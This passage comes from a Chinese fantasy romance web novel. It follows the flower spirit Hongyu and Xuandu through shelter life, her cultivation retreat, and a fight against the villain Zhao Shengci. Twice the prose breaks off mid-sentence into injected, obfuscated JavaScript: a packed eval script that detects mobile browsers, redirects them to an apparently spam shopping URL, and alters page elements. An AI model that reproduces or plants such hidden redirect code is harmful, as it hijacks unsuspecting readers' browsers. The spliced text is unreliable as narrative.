他想把某人整个人都揉在怀里,很用力的那种,可是想起她刚才的问题,手又舍不得挪开。于是他拿出一种摸基地毛茸茸们脑袋的手势来,囫囵搓摸了几下,修长的手指收了收,不轻不重地捏了捏。 他在红雨耳边轻叹一口气,声音里却带着笑:“我的小花妖……怎么色眯眯的呢……” 红雨咯吱咯吱地笑,毫不客气地甩锅:“你教的。” 想起了什么,玄都脸上的笑意也加深,“嗯,我教的。” ** 两人回隔壁基地的时候,只有白豆豆在。今天是夏琪爸爸的生日,夏琪带着王颂阳回去给家人庆祝生日去了。 夏天还没过,天气热,上午的太阳明晃晃地照下来,有点儿晒。基地里的小家伙们一个个身上都长着毛,谁也不愿意出来晒太阳,这会儿都藏在屋里。 只有几只性格一向安静的猫和狗嫌弃同伴吵闹,躲在外边,专挑房子底下或者墙根这种有阴凉的地方,懒洋洋地趴着。 听到铁栅门响动,才懒沓沓地抬头,耳朵动了动,见是玄都和红雨,一个个的也不肯起来,随意且敷衍地晃了晃尾巴表示热情,然后又百无聊赖地趴在地上躲懒。 玄都和红雨一进屋,就看见豆豆躺在地上和几个大家伙玩。他也不嫌疼,整个人呈大字型躺在地上眯着眼,大傻整个大屁股都坐到他身上了,好像快要把人压扁。 不过他也不是很讲究,正枕着一只叫发财的柴犬当枕头。 那惬意的模样,像极了躲懒的毛孩子们。 他也确实是个毛孩子。 看到玄都红雨回来,白豆豆挣扎着坐起来,双手托着大傻的屁股把它挪到一边,又手忙脚乱地捋了捋发财被他枕乱的毛,然后站起身来,揉了揉自己的后脑勺,朝两个人嘿嘿的笑。 “哥,桃子姐姐,你们回来啦!早饭已经喂过了,我也吃过了……你们吃早饭了吗?” 两人睡醒以后一直腻歪来着,起来之后直接过来这边了,而且自从玄都也住在基地之后,那边也没放什么吃的,自然也就没吃早饭。 红雨道:“还没,你早上吃的什么?” 她想着,反正等等就快中午了,有什么剩的随便垫一垫就行。 结果只见白豆豆露出一抹不好意思的笑,脸有些红,伸手指了指大傻,说:“……我和它们一起吃的……开了个罐头,还有新买的狗粮……用真身吃的……” 越说到后面,他声音越小。 玄都和红雨:“……” 两人都有些沉默。 不知道为什么,红雨莫名生出一种饿着孩子了的愧疚感。虽说豆豆的真身吃这些确实没问题,但孩子也这么大了,已经有人形了,还让他吃这些,红雨心里十分过意不去。 红雨摸了摸鼻尖,说:“我记得冰箱里还有吃的啊……没了吗?” “没熟的了……”白豆豆小声说:“我不会做饭。” 红雨一句话没说,拉着玄都上楼进厨房。 其实红雨手艺还不错,只是比夏琪差一些,所以一般情况下,只要夏琪在,她都是打下手。玄都的手艺三百年前红雨就尝过了,他做东西简单,但味道却很可以。 问题的关键就在这里,四个人里三个会做饭的,还差点把那个不会做饭的饿瘪,她很难不愧疚。 很快,两人做了一顿像样的早饭,和白豆豆一起吃完,便把豆豆留下来看家,他们去了趟超市。 他们买了好几大兜的东西,新鲜的食材,更多的是熟食零食这种能直接吃的。 基地放一份,馄饨店放一份,保证不再饿着豆豆。 两个人在馄饨店往冰箱里放牛奶和饮料,还有一些零食,一边收拾着,一边说着话。 红雨抱着一袋薯片,嘎吱嘎吱地咬,坐在一旁的垫子上歪头看玄都把一盒盒牛奶整整齐齐地码放在冰箱里。 白色的衬衫整齐地收在黑色裤腰里,显得腰又细又窄,他身高腿长,动作慢条斯理,看起来赏心悦目极了。 红雨就这么看着他,心里莫名的踏实,好像有什么东西落了地似的,一切都看得见,摸得着了。 看着看着,她突然道:“不知道为什么,赵生慈死之前那会儿,我总是想东想西的,脑袋里都是些不好的猜想,想忽略都忽略不了。” 玄都的动作一怔,他抿了抿唇,想说些什么。 他其实想把一切都告诉红雨,现在赵生慈死了,按理说应该没有什么隐患了,他也不应该再有什么顾虑了。 可不知怎么,他隐约觉得,现在还不是说的时候。 就怕万一…… 万一真的还有什么他没想到的地方,万一真的再出什么事,现在就说了,以红雨 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红雨感慨道:“可惜福康路那块地方了,风水挺好的,现在连个敢过去的人都没有。” “你还懂风水?”玄都怕她多想,故意逗她。 “略知一二罢了。”红雨扬着下巴,说的十分骄傲。 她倒是没有钻研过风水这些东西,只是自三百年前化形起,先是跟在青羽神女身边,后来又随玄都四处转悠,听他们说的多了,也就懂了一些。 玄都看她傲娇的样子,勾唇笑笑,这才道:“福康路那边确实可惜,如今结界没了,等那附近积存的怨气再散散,还可以重新开发。” “这还怎么开放?”红雨道:“那块地方的名声已经坏成那样了。” 玄都偏头看过去,她吃薯片似乎吃咸了,坐在一边直抿嘴。他拆了箱果汁,拿了一瓶出来,拧开盖子递给她。 红雨接过,咕嘟咕嘟喝了好几口,嘴里的咸味儿淡下去,只剩下满满的果香。 玄都把剩下的果汁码放到冰箱里,说:“这就要先有人带头到那边经营开放,福康路的地理位置好,只要不再出事,早晚能重新热闹起来。” 红雨问道:“那谁能带这个头?别人也不知道福康路现在已经没事了啊。” “我们不是知道吗?公司应该有类似项目,回头我问一下,有合适的就投在福康路那边儿。”玄都想了想,回答道。 “哪个公司?赵氏集团?”红雨一时没反应过来,还有些纳闷儿,“虽然赵生慈死了,可是那么大个集团,领导层那么多人,应该也不会听咱们的吧?” 玄都被她的脑回路逗笑,肩膀颤了颤,提示道:“师兄他们那边。” 红雨想起来了,她沉默一瞬,说:“哦……我忘了,你也是有公司的人……”她抱着薯片,往垫子上一躺,仰天感慨:“世界上的有钱人还是太多了……” “嗯。”玄都轻声道:“你也是。” 红雨抱着薯片打了个滚,没细想他这句话。 77. 骨头 时光慢悠悠的过,一晃,大半年过去了。 这年春三月,基地小院门口的那株桃花竞相吐蕊,水粉的花骨朵开了一树,繁茂梦幻,远远看去,就像是天上的晚霞团云掉下来,砸在了树上似的。 正常的桃花,栽植后最快也要一到两年才能开花,而基地门前这棵,如今不过大半年,花开得好像已经种了三五年,进入盛期了一般。 这当然不正常。 这棵树本来还要再长些时间,是今天初春时,冰雪消融,万物勃发。红雨拽着玄都,收拾基地门口的那一片绿化带。 除了往年那些低矮灌木,两人又栽种了许多品种的花花草草,只等着由春入夏的时候,这片空地花繁叶茂,溢色飘香。 只是唯独这棵桃树还小,开不出花来。 红雨等不及,想着这树的种子本来就是玄都弄来的,受过天地精华滋养,也不差她往里再注入些法力。 于是经过红雨的“揠苗助长”,这桃树长得极为粗壮,花枝盛放。 去年夏末,夏琪和王颂阳给长辈庆祝生日当天,夏琪身体不舒服,次日去医院检查,发现有了宝宝。 如今已经将近七个月了,身体不便过来基地这边,于是红雨让她安心养胎,她和玄都还有白豆豆三个人守在基地。 夏琪即使人不在基地,心里已经惦记着基地里的毛孩子们,经常给红雨发视频,嚷着要看毛孩子们。 刚开始行动方便的时候,她就常常拉住王颂阳往基地跑。后来行动不太方便了,红雨也不敢让她总这么折腾,在红雨三令五申下,夏琪这才不吵着要来基地帮忙了,但还是使唤王颂阳来基地干活。 这天晚上,红雨洗了个澡,穿着睡衣趴在床上和夏琪视频。 手机屏幕里,女人的脸色红润漂亮,一看就养的极好。夏琪懒洋洋地靠在沙发上和红雨讲话,脸上洋溢着笑容,就算偶尔皱眉,也是吐槽王颂阳小心太过,照顾太细,对医生的话奉为圣旨,对她管这管那。 本来沉默寡言的一个老实男人,硬是快磨成碎嘴子了。甜蜜的烦恼。 红雨见夏琪被照顾的好,也跟着高兴。她听着夏琪的碎碎念,不时附和两句,笑出声音来。 夏琪换了姿势,也换了个话题。原本正在说她自媒体账号好久没更新了,让红雨给她多拍一点儿素材,她好盯着王颂阳剪辑发布。 突然话锋一转,又想来基地了,“我都好久没看到你了,桃子,你都不想我的吗?我都想你了!!” 红雨还能不知道她在想什么?她顺着夏琪道:“只想我的话,那你在家等我,我去你家看你。” “不行!”夏琪连忙道:“也不是光想你啦……” 夏琪被逼无奈说了实话:“主要是我都好久没看到我的毛孩子们了,它们不会已经忘了我吧!” “不会的。”红雨道:“前天你还和它们视过频,昨天我给你发了将近十个它们的小视频。” “不一样啊!”夏琪道:“看到和摸到不一样啊!我已经好久没有体会到那种圆溜溜的,毛茸茸的小脑瓜,放在我手心里的感觉了……还有那毛茸茸的小爪子……” 夏琪越说越想来基地,她稍微坐起来一点,楚楚可怜地问道:“所以我真的不能去基地吗?” “……” 红雨无情拒绝:“不行。” 倒不是真不能来,只是最近她经常不在基地,夏琪过来大概率只有白豆豆在。 红雨担心,基地里的这些毛孩子们许久没见到夏琪,见到她难免想要往她身上扑,豆豆一个人在家,万一拦不住再出点什么事。 红雨解释道:“我和白絮飞最近白天都在外面,不怎么在基地,你来的话也只有豆豆自己在。” 夏琪性格虽然直爽,但是知道轻重,她知道自己过去的话,豆豆一个人又要担心她又要看住毛孩子们,肯定会手忙脚乱。于是这个想法便作罢了。 她转而问道:“你和白絮飞白天都干嘛去了?最近经常需要外出救助吗?之前不是说平州的一个专门虐待动物的变态团伙被连锅端了嘛?怎么还这么多毛孩子出事?” 夏琪这个人特别喜欢小动物,难免有些担心。 红雨怕她担心,连忙道:“不是不是。放心,最近外出救助不多,比之前少多了,别担心。” 趴着有些累,红雨拽了个枕头垫着,接着道:“之前咱们不是把基地这块地方买下来了嘛,白絮飞找了设计师,我们俩最近在和设计师研究怎么把基地和馄饨店那块地方打通,这样空间不就能大很多嘛。” “奥,是这样啊。”夏琪放心了,感慨道:“白老板果然大气!” 两个人又聊了两句,一直到王颂阳来抓人回去睡觉,夏琪才意犹未尽地挂了电话。 挂了电话后,红雨闲着无聊翻看手机里毛孩子们的视频。突然,感受到身旁一道身影走进,大床边缘塌陷一块。 玄都温沉的嗓音想起,带着刚洗完澡的清新气息,“聊完了?” “嗯,聊完了。”红雨按灭手机,随手放到一边,身体翻转半圈,像是小狗抱大骨头似的,纤细地胳膊往玄都腰上缠。 他腰很细,此刻穿着睡衣,丝绸布料滑溜溜的,脸颊贴上去,能感受到布料下肌肤的热度,很舒服。 玄都一只手拿着毛巾擦头发,另一手捏了捏她露出来的一侧脸颊,软乎乎的。 “都聊什么了?” 红雨窝在他腰间,像个小猫似的,“就随便聊了一些,小琪想来过来看毛孩子们,我和她说最近咱们白天不怎么在这儿。” “确实。”玄都的手指在她脸上摩挲,动作温柔轻缓,“最近确实不怎么在这边。” 其实光是打通两个院子的事,用不了多久,就算要和设计师商量,也不耽误什么。只是除了这件事,还有别的。 玄都问她:“想好闭关的地方了吗?” “闭关”两个字,在红雨耳朵里,简直快成了魔咒。 三百年的那一次,已经给红雨留下心理阴影了。 原本从赵生慈那里拿回那些福泽的时候,她就应该寻个时机闭关,将那些福泽好好梳理,清洗,去掉在赵生慈那里沾染的邪煞阴毒气息,然后重新吸纳进经脉骨血。< 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躲又躲不过去,红雨不得不琢磨闭关的事。 她闷声道:“就福康路那边吧,我看师范学校那块地方就不错,平时也没什么人,安静。” 玄都之前问了一下公司的情况,也看了几个适合投在福康路的项目,但是因为福康路有些特殊,政·府审查比较严格,目前还没有落地实施。 所以福康路现在,依旧还是没什么人烟。 师范大学旧校区位于福康路里面,位置更是僻静,外加福康路风水不错,确实适合闭关。 玄都思索片刻,分析了一下师范大学那块地方,道:“地方不错,只是毕竟那是赵生慈之前安身的地方,留了些不好的痕迹。如果你选在那里闭关的话,到时候我多设几道阵法,把残留的邪气隔离开。” 其实玄都之前为红雨筹谋此次闭关事宜的时候,选的地方也包括福康路。 他知道红雨不想远走,只想在平州附近。平州界内的地方玄都都探了一遍,适宜闭关的地方一共两处,一处是福康路,一处就是平州最火的那个景区。 其实从位置和灵气上来讲,景区那里是仙山旧址,后来在一个时期内,人间神祇齐归天京,人间仙山也一并隐没了。那些仙山旧址,如今也有了翻天覆地的变化。 只是景区那里偏偏游客往来太多,难免打扰。不如福康路寂静消停。 红雨本就对闭关兴致不高,反正有玄都筹谋,她也不用太费心思量,只是点头说好,毛茸茸的脑袋往他身上蹭。 玄都又说了些闭关的事,说着说着,发现已经像小袋熊一样挂在他身上的红雨,完全没有注意他在说什么。 她的兴致全在他身上。 像是个小狗抱着一个比自己大许多的大骨头,一心琢磨从哪里啃比较好。 玄都失笑,揽住她的背,亲了亲她的耳廓,滚烫的气息喷洒,在她耳边低声道:“我头发还没干……凉。” 红雨忙着啃骨头,含混道:“没事儿……那我今天不抓你头发……” 78. 石像 平州是一个北方城市,春天的时候,草长莺飞,春风温暖清爽,阳光和煦,气候十分舒服。 红雨开始闭关那天,是个晴天,万里无云,春风拂面。玄都牵着她的手,送她到一切早已准备妥当的福地。 那是一片竹林,竹叶青翠茂盛,随风摇晃。 玄都提前布了阵法,阵法会在红雨进去后开始运转,将红雨藏匿起来,她于阵中修炼,这样旁人从外面看,这里依旧是一片普通的竹林,也看不出什么端倪。 玄都就在福康路寻了个住处,这地方名声不好,到处都是空着的房子,家家户户的窗户玻璃上都贴着出租和出售。 玄都挑了师范大学旁边的一个高层,视野开阔,只要站在窗前,就能将整个师范大学旧校区尽收眼底。 这样,哪怕有一点风吹草动,他都能看得见。 傍晚,霓霞漫天,天地红成一片。 两道身影,执手相牵,走在师范大学校园里荒废许久的林荫路上。前方是赤红霞光,脚下是积累多年、无人打扫的枯叶。脚步踩上去,沙沙的脆响。 走过林荫路,拐了两个弯,很快,那片嫩绿竹林就出现在眼前。 红雨有些不想走了,她停下脚步,有些抗拒。 “我出来第一眼就要看到你……如果看不见你,哪怕你来晚一点点,我就再也不闭关了。”红雨有些不讲道理地说。 玄都眼底流淌过一丝不舍的情绪,目光深沉而温柔,语调很轻,但听起来却很踏实,“我保证,你出来的时候,我一定在。” “嗯。”红雨点头,道:“反正我是在你的阵法里,我快出来的时候,你是能感觉到的,到时候你就来这里等我。” “好。”玄都伸手拨开她飘到脸上的发丝,双眼落在她身上,像是要把眼前的这个人,刻进灵魂里。他低声重复了一句,像是在强调,“我在这里等你。” 或许是上一次闭关留下的阴影太深,红雨没由来得生出一种不安。当她背对着玄都走向竹林时,心脏忽地漏了一拍,像是一脚踏空,全身失重,突然没了底。 走入阵法前,红雨回头看了一眼,她看到玄都长身玉立,站在疏柳下。 柳枝晃荡,柳叶新发,他笑着看她,万分缱绻。 红雨伸手扶住一根细竹,回眸一笑,泛红的眼底,像是揉碎了漫天星辰。 ** 红雨这次闭关很快,一月有余,不足两月便匆匆吸纳了那深厚福泽,急着出关。 阵法之中,漫天流彩,星光璀璨。端坐在阵法中央的红雨,缓缓睁开了双眼,眼底倒映着阵法中的绚烂星空,周身溢出一层淡淡的金色光芒。 她摊开双手,垂眸看手心中法力的流淌,平稳、深厚。 一切顺利! 红雨露出一张大大的笑脸,好看的桃花眼都笑得眯了起来。 她猛地起身,想着玄都等在阵外的样子,已经迫不及待出去了。但即使心里急得很,在出去之前,红雨还是整理了一下自己衣衫。 水粉绫罗长裙,长发垂在身后,发间珠钗精巧。是她从前的模样。是三百年前,那个小桃花妖的模样。 红雨走到阵门,施法解开阵法。 随着阵法散去,漫天星光溢彩渐渐消退,乌漆漆的竹林和苍穹一点点显现。似乎,今天恰好是个阴天。 阵法消散,竹林尽显。天上乌云低压,远方雷声滚滚,传来轰隆隆的闷响。 红雨撅了噘嘴,赶上的天气不太好,不过,也没什么,玄都定然会带伞的。就算没伞也没关系,大不了施法闪回去,左右这里寂静无人,也不怕被人看见。 红雨这么想着,拨开一路细竹,一边走,一边伸长脖子往外面看。 也不知玄都是不是还站在那颗柳树下,怎地只看见了柳树,没看见他人呢? 再走走,再走走……或许不是这颗柳树,她记差了也说不定。 再走走…… 再走走…… 红雨走出了竹林,抬眸看向那无人的小路。 孤零零的柳树立在那儿,随风晃着柳枝,也不管有没有人看,它就自顾自地晃动着。 红雨有些焦躁,她舔了舔唇,眼角泛红,忍不住心底委屈和烦闷。 明明说好了来等她的,明明说好了,她一出来,就看得见他,为什么没有来?为什么迟到了? 明明是他布下的阵法,他怎么能不知道她什么时候出来呢? 她再也不要闭关了。 红雨抱着膝盖,蹲在那棵柳树下,固执地等着。一片柳叶掉落,挂在她头发上,她也没有感觉。 她心里执着地想着,虽然玄都迟到了,她也很生气,可是……可是……可是,他总是会来找她的吧。 他总得来接她,接她回家。 天上乌云翻滚,也不知是天色更晚了,还是阴得更狠了,总之,四周更暗了,黑漆漆的。风也很凉,吹在身上,阴恻恻的。 她蹲得腿有些麻了,扶着无人照顾、自顾自生长的柳树树干。树干很粗,树皮有些硌手,硌得她细嫩的掌心留下深浅不一的小坑,但到底是站起来了。 红雨脸色发白,一脸茫然,有些摇晃地沿着玄都送她闭关时走过的小路、林荫路,一步一步地往回走。 一路上,都没有玄都的身影。 长长的林荫路上,枯叶铺了一地,在风雨拍打摧残下,有些叶子碎碎糟糟的,早已经没了原先完整的形状和轮廓。 长路空荡荡,只有一道单薄的淡粉身影,孤零零的站着。就好像她和那柳树似的,一样没人管。 红雨不肯走了,一个念头浮起,她却不敢细想。她抖着双手,想结一个法印,可是十指都在颤,明明是一个很简单的手势,她却弄了很久才结成。 粉色光丝从她结印的双手向外蔓延,飘飞,像是无数触角,伸向这世界的每个角落。 她在寻人。 寻一个迟到的人。 她纠在一起的指尖泛白,小心翼翼地感受着法术光丝反馈的讯息。 一束光丝返回,汇入她的指尖。刹那间,红雨浑身一颤,猛地抬头,睁大了眼睛,朝一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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红雨不知什么时候走到了跟前,她攀着变成石像的人,一点点站了起来。她把手塞进他掌心,即使被一层石质包裹着,他的掌心依旧纹路明显,手掌薄而宽阔。 她仰头迎上他那双眼,他生了一双极为好看的眼睛,天生含情,尤其是望着她的时候,更是温柔缱绻到了极致。可就是这样的一双眼睛,此刻被石质蒙着,看不见一丝光泽。死气沉沉。 眼泪,噼里啪啦地掉下来。她有好多好多的问题,可是却问不出来。 她想问他,为什么没有去接她呢?究竟发生了什么? 石像之下,白袍长发,是他为了调用更多的法力,拽了灵魄出来和肉身相融合的样子。究竟发生了什么,他为何到了灵肉融合这一步? 可是她说不出话来。一句话也说不出来。 红雨一只手搭在玄都掌心,长发凌乱,和着泪水发丝都沾到了脸上。她全然感受不到,另一只手疯了一般砸向自己喉咙处,仿佛要砸开里面的淤堵,发出声音来。 她砸着自己的喉咙,拼命张嘴大喊…… “啊——” 一声凄厉的叫喊冲破天际,仿佛一道闪电直劈天地间。 下一秒,一阵笑声传来。声线苍老,却透着奸邪。 红雨眼底渗血,猩红的眼睛望过去。 一道身影从远处走来,从容,缓慢—— 竟然是……赵桥。 79. 诛杀 赵桥缓步走过来,负手而立,阴恻恻地说了一句:“他还没死呢,你倒也不必如此伤心。” 红雨原本死盯着他,听见这一句,蓦地转头看向已如同石像一般的玄都。她缓缓抬起手,颤抖着将掌心贴在他胸前,法力呈光丝状汇入,穿过那层石质,穿过皮肉,感受那微弱的生息。 虽然只剩下微弱的一丝,但到底还有生息尚存。 红雨没有就此放下心来,他转头看赵桥,在与他眼睛对上的那一刻,红雨瞬间反应过来,道:“你不是赵桥。” 赵桥从来没有这样的眼神,像是地狱的恶鬼,来这人间讨债一般。这样的眼神,她只在一个人身上见过。 “赵生慈,你为什么会是赵桥的模样?真正的赵桥呢?”红雨心中浮现某种猜想,直觉不妙。 她对所有术法理论都不精通,术法典籍也没看过两本。从前她学习法术时,都是神女言传身教,再后来,遇到玄都,有什么不懂的一向都是直接问玄都,更不爱看书册那种枯燥的东西。 但即使不愿意,也曾被玄都带着看过两本。玄都带她看的不是寻常的术法典籍,而是一本非常奇怪的书。那本书上,记录了所有阴险至极、凶恶至极的法术。看那本书的时候,玄都和她说:“如果以后遇到了有人使用这上面的术法,知道如何应对吗?” 红雨当时想的简单,按照自己一向的习惯道:“那我就出手再快一点!只要我动手够快,就一定能打赢。” 玄都曲指在她头上敲了一下,严肃道:“如果真碰到了,别想着打赢,一定要跑!” 他力道轻,敲的一点也不疼。红雨没什么感觉,眨着眼睛问:“为何要跑?” 玄都耐心回答道:“因为这上面记录的术法阴狠至极,且多为禁术,你未必能抵挡得住,所以,一定要跑。” 那时的红雨虽然糊里糊涂答应了,但心里依旧不是十分明白,玄都为何给她看这样一本书,还让她见到有人用这书上的术法就跑。 此时,红雨看着眼前的“赵桥”,想起了那本书上记载的一个法术。也明白了,为何玄都特意给她看了那样一本书。 关于那术法,书上记载的内容并不多,如今回想起来,红雨也只记得零星几个字:“魂寄于血,以血换身……” 后面似乎还有些什么,但是红雨想不起来了。她只知道,现在的赵生慈,对付起来,恐怕要困难许多。 “赵桥”笑了一声,拖着声调,仿佛生出一种惺惺相惜的意味,道:“花妖,没想到三百多年了,最熟悉赵某的人,却是你。” 红雨蹬着他,骂道:“别恶心人了,赵生慈,你靠禁术活下来,你真以为天道会容你?” 赵生慈似乎对此并不担心,悠然道:“这不是有你嘛。” “你还在惦记我身上的福泽?”红雨嗤笑一声,道:“你来晚了,那些福泽已经融入我的经脉骨血,我死福泽散,怎么也轮不到你。” 红雨虽然和赵生慈你来我往地骂来骂去,但是她一边骂着,一边默不作声地观察着四周。虽然她不懂阵法,但是她隐约感觉到法术磁场的微妙诡异,这附近,似乎藏了什么大阵。 赵生慈摇了摇头,像是胸有成竹,毫无顾及和避讳,“我身上的罪孽,你那些福泽已经担不住了。” 红雨冷笑,余光留意着四周的一草一木,嘴上嘲讽道:“你这不是挺有自知之明的吗。” “呵……”赵生慈也不在意她的嘲讽,自顾自笑着道:“我不要你的福泽,我要你的真身。” 四下观察的眼光顿住,红雨怔愣一瞬,下意识呢喃:“真身?” 赵生慈抬了抬眉梢,似有些诧异,“原来你不知道你真身里藏了什么?” 红雨狐疑看着他,没有说话。 赵生慈道:“你真身里藏着数万人想要活下去的念头。这些念头太强了,强到能刻在你的真身里,强到融进你的福泽里,强到能让我永永远远地留下来。” 她的确不知道自己真身里有什么。数万人想要活下去的念头,怎么藏在她的真身里?赵生慈又是如何得知的? 红雨的表情有些凝滞,像是完全呆住了。但在赵生慈看不见的身后,桃夭斩悄然出鞘,刀刃寒芒一闪而过,刀柄被她死死捏在掌心里。 赵生慈仰天长笑,似乎在笑她的愚蠢,又像是在笑自己的得意。 就是现在! 在赵生慈得意的刹那,红雨如利箭离弦,只在空气中留下一道淡粉残影,而她整个人已经捏着桃夭斩直逼赵生慈的喉咙。 她动作极快,即使赵生慈在她出手那刻反应过来,迅速后撤一步,却还是被桃夭斩刺中的右手。 鲜血滴滴答答地落下来,掉在草叶上,顺着草叶往下流,浸入地底。 赵生慈抬手抹了一下伤口,指尖沾上血迹,他用拇指捻了捻,似乎对这血很是宝贝。 红雨微微眯了眯眼。她能感觉到,赵生慈生气了。不过那又如何?该生气的,明明是她!玄都现在还困在封印里,生息微弱。如果玄都真的……她一定要将赵生慈碎尸万段。 红雨捏紧桃夭斩,用足了力气往前冲。赵生慈也没有多,就那么站着。 在桃夭斩快要再次击中他时,像是一个玻璃罩子从天而降,带着万顷雷霆压下,严严实实地将红雨和玄都罩在里面,却将赵生慈隔离在外。 这法力结成的屏障来的太突然,红雨来不及收住力气,握着桃夭斩的手重重撞上,猛地被弹回来。她整个身体被弹飞,咣地撞上如石像一般的玄都,又砰地掉落。 红雨单膝跪地,一手撑着地面,桃夭斩死死插进土里,这才堪堪稳住身形,没有直接倒下去。 她抬头看着电闪雷鸣的法阵,心下了然。原来,这就是她刚才感觉到的那个大阵。身处其中,能清晰地感受到这法阵的压迫感,倾注在法阵中的法力厚重、强大,又阴狠十足。甚至……和她受天罚时,被困在天雷滚滚中有些相似。 身侧的石像的背后,有了一丝细小的裂痕,但红雨没有看到。她仰头看着这阵法,单手托起一道屏障,为自己和身侧的玄都抵挡劈来的雷霆。 这雷霆一道重过一道,她撑着屏障的手,隐约有些颤抖。这样下去,她的法力势必会被消耗殆尽。 红雨思忖片刻,突然收了屏障。她抬手扔出桃夭斩,桃夭斩在半空中下坠,坠到一半,蓦地变大,像是天上的弯月掉下来了一般。 她调用所有法力,就连刚刚吸纳的福泽,也被她转化为法力调用起来。红雨将所有法力与桃夭斩相连接,主人与法器之间形成共鸣。巨大的桃夭斩摇晃震颤,器鸣声如泣如诉,呜咽悲恸。 下一秒,一道破天红光从红雨和她身后的桃夭斩上冲出升起,猛烈撞击阵法形成的屏障的最顶端,冲击,再冲击。 红雨毫无节制地调用法力,向这巨大罩子的中心撞击着,想要冲破这诡异阵法。随着时间的流逝,她能清晰地感觉到,自己身上的法力也在消耗。 阵外的赵生慈脸上露出一抹笑,他施法止住流血的伤口,从容地看着红雨,在阵中挣扎。 他张口说话,明明没有用什么力气,可那声音却透过阵法,被红雨清晰地听到。这阵法巨大,他的声音像是远山敲响的钟,苍茫震荡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13425693|122800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “别白费力气了,这阵,名为诛杀阵,集尘世万千怨念而成。天罚若是替天行道,那这诛杀阵,便只为我赵生慈一人证道!” 红雨没有理会他的声音。她的全部注意力全都放在破阵上,她消耗了太多的法力,可是这阵依旧不见松动的痕迹。 突然,她感觉她的力量骤然缩减,红雨回头一看,桃夭斩似乎已经法力枯竭,变回原本的大小,掉落在地上。 不行……她不能倒在这里。 “桃夭斩!起来!!!”红雨声嘶呐喊,呼唤她的法器。神女曾说,桃夭斩有灵,她作为主人,和灵器之间,有着无法分割的连接。 她唤,它便战。 原本掉在地上的桃夭斩刀刃颤抖着,似乎是在挣扎,几秒后,刀身又闪过一抹淡色光芒,缓慢升起,向主人传递自己全部的法力。甚至于,是灵器的生命力。 可诛杀阵依旧没有半点松动,就像是一座大山,誓要将他们压死在其中。 桃夭斩刀刃上的光越来越淡,红雨看了看它,又看了眼玄都。她收回手,静静地落下,伫立在玄都身旁。 “桃夭,好了,停下来吧。”红雨声音很轻,像是最后一丝春风,扫过汹涌的海面。 得到命令,桃夭斩停了下来,带着仅剩的力量,落在红雨脚下。刀刃单薄,刀身小巧。就这么一个小玩意儿,却用尽全力为她支撑。 红雨拾起桃夭斩,摸了摸它冰凉的刀刃,理了理它尾端凌乱的流苏,将它握在手中。 赵生慈似乎很满意,他笑得张狂,开口道:“人啊,自己不拼命试一次,永远不会死心。” 红雨瞥他一眼,没什么情绪道:“你想怎样?杀了我吗?” “怎么会用我动手呢?”赵生慈顶着赵桥的脸,像是看到了什么极妙的场景,又或是马上就要看到似的,眼神迷蒙,含着隐秘且狰狞的期待。 他缓声道:“这诛杀阵和天罚有个不一样的地方,天罚要杀的人如果杀不死,它会盯住那个人。这诛杀阵不同,诛杀阵只要一开,不成功诛杀一个魂魄的话,是不会消散的。” 果然,这阵着实阴狠到了极点。诛杀魂魄,那不就意味着只要这阵法一开,就必须有人魂飞魄散吗? 红雨心中冷笑,这果然是赵生慈的手笔。可赵生慈阴狠至此,做了无数坏事,害死了无数生来,却依旧如此趾高气昂。而她和玄都,却落入如此境地。她自化形起,便受神女教导,以妖身修天人道。可此刻,她竟有些看不清天道了。 赵生慈闭眼听着耳边呼啸风声,像是赏赐般开口:“如果你主动将魂魄喂给诛杀阵的话,或许,我会留你那情郎一命。” 毕竟,他还要用她的真身,她自己动手的话,也免得诛杀阵中万钧雷霆伤了她那真身。 红雨勾了勾唇,捏着桃夭斩的手紧了紧,蓦地抬起,刀刃对准喉咙。 她不相信赵生慈,可是,她想为玄都赌这一次。既然诛杀阵注定要一个人魂飞魄散,她至少可以保证,玄都的魂魄安好。 冰冷的刀刃贴在颈间肌肤上,桃夭斩在颤抖,在抗拒,却不得动弹,只得一点点、一点点地贴上去。 红雨阖上双眼,手腕用力…… 砰—— 一声巨响从身后传来,似乎有什么东西破开了一般,像是一些碎尸,砸到了她的裙摆。 下一秒,一只骨节分明的手抓住她的手腕,微微用力,让刀刃远离。她整个人被一股清冷的气息包围,像是春风化雪般的清寒泽润。 玄都温沉的嗓音在她耳际响起,像极了高山流水声潺潺,“他在骗你。” 80. 末路 当啷—— 桃夭斩落地。一滴泪砸下来,没入杂乱草坪里。 红雨猛地转身,手臂紧紧地揽住他的腰,耳朵贴在他胸口,在雷霆乱响之中听他的心跳。 玄都抱紧怀里的人,手掌在她后背上安抚摩挲着,伸手拂去她发丝间沾着的枯叶。他托起她的脸,擦去她脸上的脏污,声音温柔平静,仿佛他们不是在诛杀阵里,而是在基地小院的遮阳伞下。 “怎么弄成这个样子了?” 红雨只是摇头,说不出话来,眼泪流的更凶。 不知怎么的,明明刚才赴死的时候她都没有哭,可是现在玄都和她说一句话,她的眼泪就止不住了。 人本来是能忍受委屈的,可是受了委屈之后再得到爱护,便很难忍了。 玄都用指腹贴了贴她通红的眼皮,满是心疼道:“眼睛都肿了。” 他的指尖很凉,贴在有些发烫的眼皮上,很舒服。红雨缓过来一些了,哽咽着问:“你说他骗我,那这个阵是不是可以破?”想了想,红雨又补充一句:“谁也不用魂飞魄散,是吗?” “是。”玄都点头,抓过红雨揪在他腰际的手,捏了捏她的手腕,与她并肩而立,看向远处的赵生慈,“我们一起,破开这个阵。” 赵生慈看到这一幕,微微眯了眯眼,他没听到阵中的两个人说了什么,他也不在乎。赵生慈只是哼笑一声,到头来,还是得他动手。无妨,结果都一样,只要不伤了她真身里的东西就好。 赵生慈抬手捏诀,刹那间,法阵风云激荡,电闪雷鸣。一道道闪电径直劈向阵中的两道身影。 